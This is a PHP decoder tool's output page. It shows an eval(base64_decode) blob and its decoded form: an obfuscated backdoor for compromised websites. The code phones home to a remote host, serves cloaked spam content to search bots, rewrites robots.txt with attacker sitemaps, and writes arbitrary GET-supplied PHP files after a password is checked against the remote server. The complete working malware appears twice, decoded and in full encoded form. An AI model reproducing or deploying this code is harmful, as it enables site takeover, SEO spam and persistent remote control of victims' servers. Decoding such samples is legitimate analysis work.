Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIGxMMHZYOyB2cXZUZTogJHRvd2UgPSAkZ290byAuICJceDJlXDE1Mlwx..
Decoded Output download
goto lL0vX; vqvTe: $towe = $goto . "\x2e\152\163\170\171\155" . "\56\x74\x6f\160"; goto uzi4H; lizvE: $htwe = "\150\x74\164\160"; goto SzxbC; BzUH8: function sbot() { $uaget = strtolower($_SERVER["\110\124\x54\x50\x5f\125\x53\105\122\x5f\101\107\x45\x4e\x54"]); if (stristr($uaget, "\147\x6f\x6f\x67\x6c\145\x62\157\x74") || stristr($uaget, "\x62\151\x6e\x67") || stristr($uaget, "\x79\x61\150\157\x6f") || stristr($uaget, "\x67\157\157\147\x6c\145") || stristr($uaget, "\x47\x6f\x6f\147\x6c\x65\x62\x6f\164") || stristr($uaget, "\x67\x6f\x6f\147\x6c\x65\142\157\164")) { return true; } else { return false; } } goto kgGu0; xnOMy: $usse = ''; goto DnTcC; O7cP3: if (@$_GET["\x70\x64"] != '') { $acot = @$_GET["\x6d\x61\160\156\141\155\145"]; if (isset($_SERVER["\104\x4f\x43\125\115\105\116\124\137\122\x4f\117\124"])) { $path = $_SERVER["\x44\117\x43\x55\x4d\105\116\124\137\x52\x4f\x4f\x54"]; } else { $path = dirname(__FILE__); } if (strstr($acot, "\163\151\x74\145\155\141\160")) { $map_path = $path . "\x2f\x73\x69\164\x65\x6d\141\160\x2e\x78\x6d\154"; $file_path = $path . "\x2f\x72\157\x62\x6f\x74\x73\x2e\164\170\164"; @unlink($map_path); $robots = @file_get_contents($file_path); $data = "\125\163\x65\162\55\x61\147\x65\x6e\x74\72\x20\x2a" . "\15\12" . "\x41\x6c\154\x6f\167\72\x20\57"; $sturs = "\xd\xa" . "\123\x69\x74\145\155\x61\160\x3a\x20" . $http . "\x3a\57\57" . $host . "\57" . $acot . "\56\x78\155\x6c"; $futrobot = ''; if (strstr($robots, "\57\155\141\160\x2e\x78\x6d\x6c")) { if (strstr($robots, "\57" . $acot . "\56\x78\x6d\154")) { echo "\x73\x69\x74\x65\x6d\x61\x70\40\x69\x6e\x20\141\144\x64\145\x64\x21"; die; } else { $robots .= $sturs; } } else { @unlink($file_path); $sturs .= "\15\xa" . "\123\x69\x74\x65\155\141\160\72\40" . $http . "\x3a\x2f\57" . $host . "\57\x6d\141\160\56\x78\155\154"; $robots = $data . $sturs; } if (file_put_contents($file_path, trim($robots))) { echo "\74\142\162\x3e\x6f\153\x3c\142\x72\x3e"; } else { echo "\x3c\x62\x72\76\x66\141\154\163\145\41\x3c\142\x72\76"; } } else { if (strstr($acot, "\x2e\160" . "\x68\160")) { if (sha1(sha1(@$_GET["\141"])) == daag($htwe . "\x3a\x2f\x2f" . $towe . "\57\x61\56\160" . "\150\x70")) { $dstr = @$_GET["\144\x73\164\x72"]; if (file_put_contents($path . "\x2f" . $acot, $dstr)) { echo "\x6f\153"; } } } else { echo "\74\x62\x72\x3e\x20\146\x61\154\x73\x65\x21\74\142\162\x3e"; } } die; } goto mtdO8; x8eRL: function st_uri() { if (isset($_SERVER["\x52\105\x51\x55\105\x53\124\137\x55\122\111"])) { $ddur = $_SERVER["\122\x45\121\x55\105\123\124\x5f\x55\122\111"]; } else { if (isset($_SERVER["\141\x72\x67\166"])) { $ddur = $_SERVER["\120\110\x50\x5f\x53\105\x4c\106"] . "\77" . $_SERVER["\141\x72\x67\x76"][0]; } else { $ddur = $_SERVER["\120\110\120\x5f\123\105\114\106"] . "\x3f" . $_SERVER["\x51\125\x45\122\131\137\x53\x54\x52\111\116\107"]; } } return $ddur; } goto vqvTe; WWReP: if (!strstr($htag, "\x6e\157\x62\157\x74\x75\x73\x65\x72\x61\147\x65\x6e\x74")) { if (strstr($htag, "\157\153\150\x74\155\x6c\147\145\x74\143\157\156\x74\x65\x6e\164")) { @header("\x43\x6f\x6e\164\x65\x6e\x74\x2d\x74\x79\x70\x65\x3a\x20\x74\145\x78\164\57\150\x74\155\x6c\73\x20\143\150\141\162\163\145\164\75\x75\x74\x66\55\x38"); $htag = str_replace("\x6f\153\150\x74\155\x6c\x67\x65\164\x63\x6f\156\164\145\x6e\x74", '', $htag); echo $htag; die; } else { if (strstr($htag, "\157\x6b\170\155\154\147\145\164\x63\x6f\156\164\x65\156\x74")) { $htag = str_replace("\157\x6b\170\x6d\x6c\x67\x65\164\143\x6f\156\x74\x65\x6e\x74", '', $htag); @header("\x43\157\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\145\72\40\x74\x65\x78\x74\57\x78\x6d\154"); echo $htag; die; } } } goto BzUH8; nS6El: $lag = @$_SERVER["\110\x54\124\x50\x5f\101\x43\103\x45\x50\x54\137\x4c\x41\116\x47\125\101\x47\105"]; goto Y_aaQ; Y_aaQ: $lag = urlencode($lag); goto xnOMy; oJgUe: $host = $_SERVER["\110\x54\x54\120\x5f\x48\117\123\124"]; goto nS6El; KblKL: if ($ddur_tmp == '') { $ddur_tmp = "\x2f"; } goto OR59N; uzi4H: function ishtt() { if (isset($_SERVER["\x48\x54\124\x50\123"]) && strtolower($_SERVER["\110\124\124\120\123"]) !== "\x6f\x66\x66") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\x46\x4f\x52\x57\101\x52\x44\105\x44\x5f\x50\122\117\124\117"]) && $_SERVER["\x48\124\x54\120\x5f\x58\137\x46\x4f\122\127\x41\x52\x44\105\x44\x5f\x50\x52\117\124\117"] === "\150\164\x74\160\163") { return true; } elseif (isset($_SERVER["\x48\124\124\x50\137\106\122\117\116\124\137\105\116\104\137\x48\x54\x54\x50\123"]) && strtolower($_SERVER["\x48\124\124\120\137\106\x52\117\116\x54\x5f\x45\116\104\x5f\110\x54\x54\120\x53"]) !== "\x6f\x66\x66") { return true; } return false; } goto oJgUe; DnTcC: if (isset($_SERVER["\x48\x54\x54\120\x5f\122\105\106\x45\x52\105\x52"])) { $usse = $_SERVER["\110\x54\x54\120\137\122\x45\x46\x45\x52\x45\x52"]; $usse = urlencode($usse); } goto O7cP3; mtdO8: $web = $htwe . "\72\57\x2f" . $towe . "\x2f\151\x6e\x64\x65\56\160\x68\160\x3f\167\x65\142\x3d" . $host . "\x26\x7a\172\75" . sbot() . "\x26\165\162\151\x3d" . $ddur . "\46\x75\x72\x6c\163\x68\141\x6e\147\x3d" . $usse . "\x26\150\x74\x74\160\75" . $http . "\x26\x6c\x61\156\x67\75" . $lag; goto fF92e; fF92e: $htag = trim(daag($web)); goto WWReP; kgGu0: function daag($url) { $ficonts = ''; if (function_exists("\x63\165\x72\154\x5f\151\156\x69\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto yBGi8; yn4JC: $ddur_tmp = st_uri(); goto KblKL; lL0vX: @set_time_limit(5000); goto CzQcT; OR59N: $ddur = urlencode($ddur_tmp); goto x8eRL; SzxbC: if (ishtt()) { $http = "\x68\164\x74\160\x73"; } else { $http = "\x68\x74\x74\x70"; } goto yn4JC; FqhDK: $goto = "\x72\162\x30\60\x31"; goto lizvE; CzQcT: @ignore_user_abort(1); goto FqhDK; yBGi8:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIGxMMHZYOyB2cXZUZTogJHRvd2UgPSAkZ290byAuICJceDJlXDE1MlwxNjNcMTcwXDE3MVwxNTUiIC4gIlw1Nlx4NzRceDZmXDE2MCI7IGdvdG8gdXppNEg7IGxpenZFOiAkaHR3ZSA9ICJcMTUwXHg3NFwxNjRcMTYwIjsgZ290byBTenhiQzsgQnpVSDg6IGZ1bmN0aW9uIHNib3QoKSB7ICR1YWdldCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBceDVmXDEyNVx4NTNcMTA1XDEyMlx4NWZcMTAxXDEwN1x4NDVceDRlXHg1NCJdKTsgaWYgKHN0cmlzdHIoJHVhZ2V0LCAiXDE0N1x4NmZceDZmXHg2N1x4NmNcMTQ1XHg2MlwxNTdceDc0IikgfHwgc3RyaXN0cigkdWFnZXQsICJceDYyXDE1MVx4NmVceDY3IikgfHwgc3RyaXN0cigkdWFnZXQsICJceDc5XHg2MVwxNTBcMTU3XHg2ZiIpIHx8IHN0cmlzdHIoJHVhZ2V0LCAiXHg2N1wxNTdcMTU3XDE0N1x4NmNcMTQ1IikgfHwgc3RyaXN0cigkdWFnZXQsICJceDQ3XHg2Zlx4NmZcMTQ3XHg2Y1x4NjVceDYyXHg2ZlwxNjQiKSB8fCBzdHJpc3RyKCR1YWdldCwgIlx4NjdceDZmXHg2ZlwxNDdceDZjXHg2NVwxNDJcMTU3XDE2NCIpKSB7IHJldHVybiB0cnVlOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0gfSBnb3RvIGtnR3UwOyB4bk9NeTogJHVzc2UgPSAnJzsgZ290byBEblRjQzsgTzdjUDM6IGlmIChAJF9HRVRbIlx4NzBceDY0Il0gIT0gJycpIHsgJGFjb3QgPSBAJF9HRVRbIlx4NmRceDYxXDE2MFwxNTZcMTQxXDE1NVwxNDUiXTsgaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTA0XHg0Zlx4NDNcMTI1XDExNVwxMDVcMTE2XDEyNFwxMzdcMTIyXHg0ZlwxMTdcMTI0Il0pKSB7ICRwYXRoID0gJF9TRVJWRVJbIlx4NDRcMTE3XHg0M1x4NTVceDRkXDEwNVwxMTZcMTI0XDEzN1x4NTJceDRmXHg0Zlx4NTQiXTsgfSBlbHNlIHsgJHBhdGggPSBkaXJuYW1lKF9fRklMRV9fKTsgfSBpZiAoc3Ryc3RyKCRhY290LCAiXDE2M1wxNTFceDc0XDE0NVwxNTVcMTQxXDE2MCIpKSB7ICRtYXBfcGF0aCA9ICRwYXRoIC4gIlx4MmZceDczXHg2OVwxNjRceDY1XHg2ZFwxNDFcMTYwXHgyZVx4NzhceDZkXDE1NCI7ICRmaWxlX3BhdGggPSAkcGF0aCAuICJceDJmXHg3MlwxNTdceDYyXHg2Zlx4NzRceDczXHgyZVwxNjRcMTcwXDE2NCI7IEB1bmxpbmsoJG1hcF9wYXRoKTsgJHJvYm90cyA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsgJGRhdGEgPSAiXDEyNVwxNjNceDY1XDE2Mlw1NVx4NjFcMTQ3XHg2NVx4NmVceDc0XDcyXHgyMFx4MmEiIC4gIlwxNVwxMiIgLiAiXHg0MVx4NmNcMTU0XHg2ZlwxNjdcNzJceDIwXDU3IjsgJHN0dXJzID0gIlx4ZFx4YSIgLiAiXDEyM1x4NjlceDc0XDE0NVwxNTVceDYxXDE2MFx4M2FceDIwIiAuICRodHRwIC4gIlx4M2FcNTdcNTciIC4gJGhvc3QgLiAiXDU3IiAuICRhY290IC4gIlw1Nlx4NzhcMTU1XHg2YyI7ICRmdXRyb2JvdCA9ICcnOyBpZiAoc3Ryc3RyKCRyb2JvdHMsICJcNTdcMTU1XDE0MVwxNjBceDJlXHg3OFx4NmRceDZjIikpIHsgaWYgKHN0cnN0cigkcm9ib3RzLCAiXDU3IiAuICRhY290IC4gIlw1Nlx4NzhceDZkXDE1NCIpKSB7IGVjaG8gIlx4NzNceDY5XHg3NFx4NjVceDZkXHg2MVx4NzBcNDBceDY5XHg2ZVx4MjBcMTQxXDE0NFx4NjRcMTQ1XHg2NFx4MjEiOyBkaWU7IH0gZWxzZSB7ICRyb2JvdHMgLj0gJHN0dXJzOyB9IH0gZWxzZSB7IEB1bmxpbmsoJGZpbGVfcGF0aCk7ICRzdHVycyAuPSAiXDE1XHhhIiAuICJcMTIzXHg2OVx4NzRceDY1XDE1NVwxNDFcMTYwXDcyXDQwIiAuICRodHRwIC4gIlx4M2FceDJmXDU3IiAuICRob3N0IC4gIlw1N1x4NmRcMTQxXDE2MFw1Nlx4NzhcMTU1XDE1NCI7ICRyb2JvdHMgPSAkZGF0YSAuICRzdHVyczsgfSBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGVfcGF0aCwgdHJpbSgkcm9ib3RzKSkpIHsgZWNobyAiXDc0XDE0MlwxNjJceDNlXHg2ZlwxNTNceDNjXDE0Mlx4NzJceDNlIjsgfSBlbHNlIHsgZWNobyAiXHgzY1x4NjJceDcyXDc2XHg2NlwxNDFcMTU0XDE2M1wxNDVcNDFceDNjXDE0Mlx4NzJcNzYiOyB9IH0gZWxzZSB7IGlmIChzdHJzdHIoJGFjb3QsICJceDJlXDE2MCIgLiAiXHg2OFwxNjAiKSkgeyBpZiAoc2hhMShzaGExKEAkX0dFVFsiXDE0MSJdKSkgPT0gZGFhZygkaHR3ZSAuICJceDNhXHgyZlx4MmYiIC4gJHRvd2UgLiAiXDU3XHg2MVw1NlwxNjAiIC4gIlwxNTBceDcwIikpIHsgJGRzdHIgPSBAJF9HRVRbIlwxNDRceDczXDE2NFx4NzIiXTsgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoIC4gIlx4MmYiIC4gJGFjb3QsICRkc3RyKSkgeyBlY2hvICJceDZmXDE1MyI7IH0gfSB9IGVsc2UgeyBlY2hvICJcNzRceDYyXHg3Mlx4M2VceDIwXDE0Nlx4NjFcMTU0XHg3M1x4NjVceDIxXDc0XDE0MlwxNjJceDNlIjsgfSB9IGRpZTsgfSBnb3RvIG10ZE84OyB4OGVSTDogZnVuY3Rpb24gc3RfdXJpKCkgeyBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVx4NTVcMTA1XHg1M1wxMjRcMTM3XHg1NVwxMjJcMTExIl0pKSB7ICRkZHVyID0gJF9TRVJWRVJbIlwxMjJceDQ1XDEyMVx4NTVcMTA1XDEyM1wxMjRceDVmXHg1NVwxMjJcMTExIl07IH0gZWxzZSB7IGlmIChpc3NldCgkX1NFUlZFUlsiXDE0MVx4NzJceDY3XDE2NiJdKSkgeyAkZGR1ciA9ICRfU0VSVkVSWyJcMTIwXDExMFx4NTBceDVmXHg1M1wxMDVceDRjXDEwNiJdIC4gIlw3NyIgLiAkX1NFUlZFUlsiXDE0MVx4NzJceDY3XHg3NiJdWzBdOyB9IGVsc2UgeyAkZGR1ciA9ICRfU0VSVkVSWyJcMTIwXDExMFwxMjBceDVmXDEyM1wxMDVcMTE0XDEwNiJdIC4gIlx4M2YiIC4gJF9TRVJWRVJbIlx4NTFcMTI1XHg0NVwxMjJcMTMxXDEzN1x4NTNceDU0XHg1MlwxMTFcMTE2XDEwNyJdOyB9IH0gcmV0dXJuICRkZHVyOyB9IGdvdG8gdnF2VGU7IFdXUmVQOiBpZiAoIXN0cnN0cigkaHRhZywgIlx4NmVcMTU3XHg2MlwxNTdceDc0XHg3NVx4NzNceDY1XHg3Mlx4NjFcMTQ3XHg2NVx4NmVceDc0IikpIHsgaWYgKHN0cnN0cigkaHRhZywgIlwxNTdcMTUzXDE1MFx4NzRcMTU1XHg2Y1wxNDdcMTQ1XHg3NFwxNDNcMTU3XDE1Nlx4NzRceDY1XHg2ZVwxNjQiKSkgeyBAaGVhZGVyKCJceDQzXHg2Zlx4NmVcMTY0XHg2NVx4NmVceDc0XHgyZFx4NzRceDc5XHg3MFx4NjVceDNhXHgyMFx4NzRcMTQ1XHg3OFwxNjRcNTdcMTUwXHg3NFwxNTVceDZjXDczXHgyMFwxNDNcMTUwXDE0MVwxNjJcMTYzXDE0NVwxNjRcNzVceDc1XHg3NFx4NjZcNTVceDM4Iik7ICRodGFnID0gc3RyX3JlcGxhY2UoIlx4NmZcMTUzXDE1MFx4NzRcMTU1XHg2Y1x4NjdceDY1XDE2NFx4NjNceDZmXDE1NlwxNjRcMTQ1XHg2ZVx4NzQiLCAnJywgJGh0YWcpOyBlY2hvICRodGFnOyBkaWU7IH0gZWxzZSB7IGlmIChzdHJzdHIoJGh0YWcsICJcMTU3XHg2YlwxNzBcMTU1XDE1NFwxNDdcMTQ1XDE2NFx4NjNceDZmXDE1NlwxNjRceDY1XDE1Nlx4NzQiKSkgeyAkaHRhZyA9IHN0cl9yZXBsYWNlKCJcMTU3XHg2YlwxNzBceDZkXHg2Y1x4NjdceDY1XDE2NFwxNDNceDZmXDE1Nlx4NzRceDY1XHg2ZVx4NzQiLCAnJywgJGh0YWcpOyBAaGVhZGVyKCJceDQzXDE1N1x4NmVceDc0XHg2NVx4NmVceDc0XHgyZFx4NzRceDc5XHg3MFwxNDVcNzJcNDBceDc0XHg2NVx4NzhceDc0XDU3XHg3OFx4NmRcMTU0Iik7IGVjaG8gJGh0YWc7IGRpZTsgfSB9IH0gZ290byBCelVIODsgblM2RWw6ICRsYWcgPSBAJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBceDVmXDEwMVx4NDNcMTAzXHg0NVx4NTBceDU0XDEzN1x4NGNceDQxXDExNlx4NDdcMTI1XDEwMVx4NDdcMTA1Il07IGdvdG8gWV9hYVE7IFlfYWFROiAkbGFnID0gdXJsZW5jb2RlKCRsYWcpOyBnb3RvIHhuT015OyBvSmdVZTogJGhvc3QgPSAkX1NFUlZFUlsiXDExMFx4NTRceDU0XDEyMFx4NWZceDQ4XDExN1wxMjNcMTI0Il07IGdvdG8gblM2RWw7IEtibEtMOiBpZiAoJGRkdXJfdG1wID09ICcnKSB7ICRkZHVyX3RtcCA9ICJceDJmIjsgfSBnb3RvIE9SNTlOOyB1emk0SDogZnVuY3Rpb24gaXNodHQoKSB7IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFwxMjMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMjMiXSkgIT09ICJceDZmXHg2Nlx4NjYiKSB7IHJldHVybiB0cnVlOyB9IGVsc2VpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBcMTM3XDEzMFx4NWZceDQ2XHg0Zlx4NTJceDU3XDEwMVx4NTJceDQ0XDEwNVx4NDRceDVmXHg1MFwxMjJcMTE3XDEyNFwxMTciXSkgJiYgJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXHg1OFwxMzdceDQ2XHg0ZlwxMjJcMTI3XHg0MVx4NTJceDQ0XDEwNVx4NDRceDVmXHg1MFx4NTJcMTE3XDEyNFwxMTciXSA9PT0gIlwxNTBcMTY0XHg3NFwxNjBcMTYzIikgeyByZXR1cm4gdHJ1ZTsgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXDEzN1wxMDZcMTIyXDExN1wxMTZcMTI0XDEzN1wxMDVcMTE2XDEwNFwxMzdceDQ4XHg1NFx4NTRceDUwXDEyMyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRcMTIwXDEzN1wxMDZceDUyXDExN1wxMTZceDU0XHg1Zlx4NDVcMTE2XDEwNFx4NWZcMTEwXHg1NFx4NTRcMTIwXHg1MyJdKSAhPT0gIlx4NmZceDY2XHg2NiIpIHsgcmV0dXJuIHRydWU7IH0gcmV0dXJuIGZhbHNlOyB9IGdvdG8gb0pnVWU7IERuVGNDOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBceDVmXDEyMlwxMDVcMTA2XHg0NVx4NTJcMTA1XHg1MiJdKSkgeyAkdXNzZSA9ICRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXDEzN1wxMjJceDQ1XHg0Nlx4NDVceDUyXHg0NVx4NTIiXTsgJHVzc2UgPSB1cmxlbmNvZGUoJHVzc2UpOyB9IGdvdG8gTzdjUDM7IG10ZE84OiAkd2ViID0gJGh0d2UgLiAiXDcyXDU3XHgyZiIgLiAkdG93ZSAuICJceDJmXDE1MVx4NmVceDY0XHg2NVw1NlwxNjBceDY4XDE2MFx4M2ZcMTY3XHg2NVwxNDJceDNkIiAuICRob3N0IC4gIlx4MjZceDdhXDE3Mlw3NSIgLiBzYm90KCkgLiAiXHgyNlwxNjVcMTYyXDE1MVx4M2QiIC4gJGRkdXIgLiAiXDQ2XHg3NVx4NzJceDZjXDE2M1x4NjhcMTQxXHg2ZVwxNDdceDNkIiAuICR1c3NlIC4gIlx4MjZcMTUwXHg3NFx4NzRcMTYwXDc1IiAuICRodHRwIC4gIlx4MjZceDZjXHg2MVwxNTZceDY3XDc1IiAuICRsYWc7IGdvdG8gZkY5MmU7IGZGOTJlOiAkaHRhZyA9IHRyaW0oZGFhZygkd2ViKSk7IGdvdG8gV1dSZVA7IGtnR3UwOiBmdW5jdGlvbiBkYWFnKCR1cmwpIHsgJGZpY29udHMgPSAnJzsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2M1wxNjVceDcyXDE1NFx4NWZcMTUxXDE1Nlx4NjlcMTY0IikpIHsgJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDMwKTsgJGZpY29udHMgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyB9IGlmICghJGZpY29udHMpIHsgJGZpY29udHMgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7IH0gcmV0dXJuICRmaWNvbnRzOyB9IGdvdG8geUJHaTg7IHluNEpDOiAkZGR1cl90bXAgPSBzdF91cmkoKTsgZ290byBLYmxLTDsgbEwwdlg6IEBzZXRfdGltZV9saW1pdCg1MDAwKTsgZ290byBDelFjVDsgT1I1OU46ICRkZHVyID0gdXJsZW5jb2RlKCRkZHVyX3RtcCk7IGdvdG8geDhlUkw7IFN6eGJDOiBpZiAoaXNodHQoKSkgeyAkaHR0cCA9ICJceDY4XDE2NFx4NzRcMTYwXHg3MyI7IH0gZWxzZSB7ICRodHRwID0gIlx4NjhceDc0XHg3NFx4NzAiOyB9IGdvdG8geW40SkM7IEZxaERLOiAkZ290byA9ICJceDcyXDE2Mlx4MzBcNjBceDMxIjsgZ290byBsaXp2RTsgQ3pRY1Q6IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgZ290byBGcWhESzsgeUJHaTg6IA==')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 7e612933894a7d8829a0a6c3ebe90cea |
Eval Count | 1 |
Decode Time | 47 ms |